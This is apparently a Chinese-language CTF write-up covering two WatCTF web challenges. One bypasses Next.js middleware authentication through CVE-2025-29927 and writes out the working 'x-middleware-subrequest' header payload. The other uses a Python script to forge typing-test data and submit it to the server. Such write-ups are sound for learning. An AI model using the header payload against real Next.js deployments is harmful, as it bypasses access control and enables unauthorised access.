备考抽空做了WatCTF的web题
Waterloo Trivia Dash
按要求完成三个单选,点击按钮发现重新跳回答题页,查看response发现权限不足无法访问/admin路由,进一步发现网站Next.js 15.2.2,存在鉴权漏洞(CVE-2025-29927)。
参考:Next.js 中间件鉴权绕过漏洞(CVE-2025-29927)【tree师傅】

payload:x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
大致原理就是:x-middleware-subrequest中包含当前中间件名称,则depth自增。当depth≥5时,中间件返回空响应并停止处理,绕过next.js的中间件。
gooses-typing-test
按要求打字结束,发现打字速度要求高wpm才能获得flag,但发现有请求包发送

进一步查看网页js文件发现前端对打字过程的数据做了处理,统一发给了server。

于是自己写python生成请求数据,调高打字速度,再统一发送。
import time
import random
import json
def simulate_typing(payload, accuracy=1.0):
typed_data = []
current_time = int(time.time() * 1000)
for char in payload:
current_time += random.randint(5, 20)
typed_data.append({"key": char, "time": current_time})
return typed_data
payload = input("payload: ")
seed = input("seed: ")
start_time = int(time.time() * 1000)
typed_data = simulate_typing(payload)
done_test_data = {
"startPoint": start_time,
"typed": typed_data,
"seed": seed
}
output_file = "donetest_data.txt"
try:
with open(output_file, "w") as f:
json.dump(done_test_data, f, indent=2)
print(f"数据已写入 {output_file}")
except Exception as e:
print(f"写入文件error: {e}")
用构造的数据得到reward’’s flag
0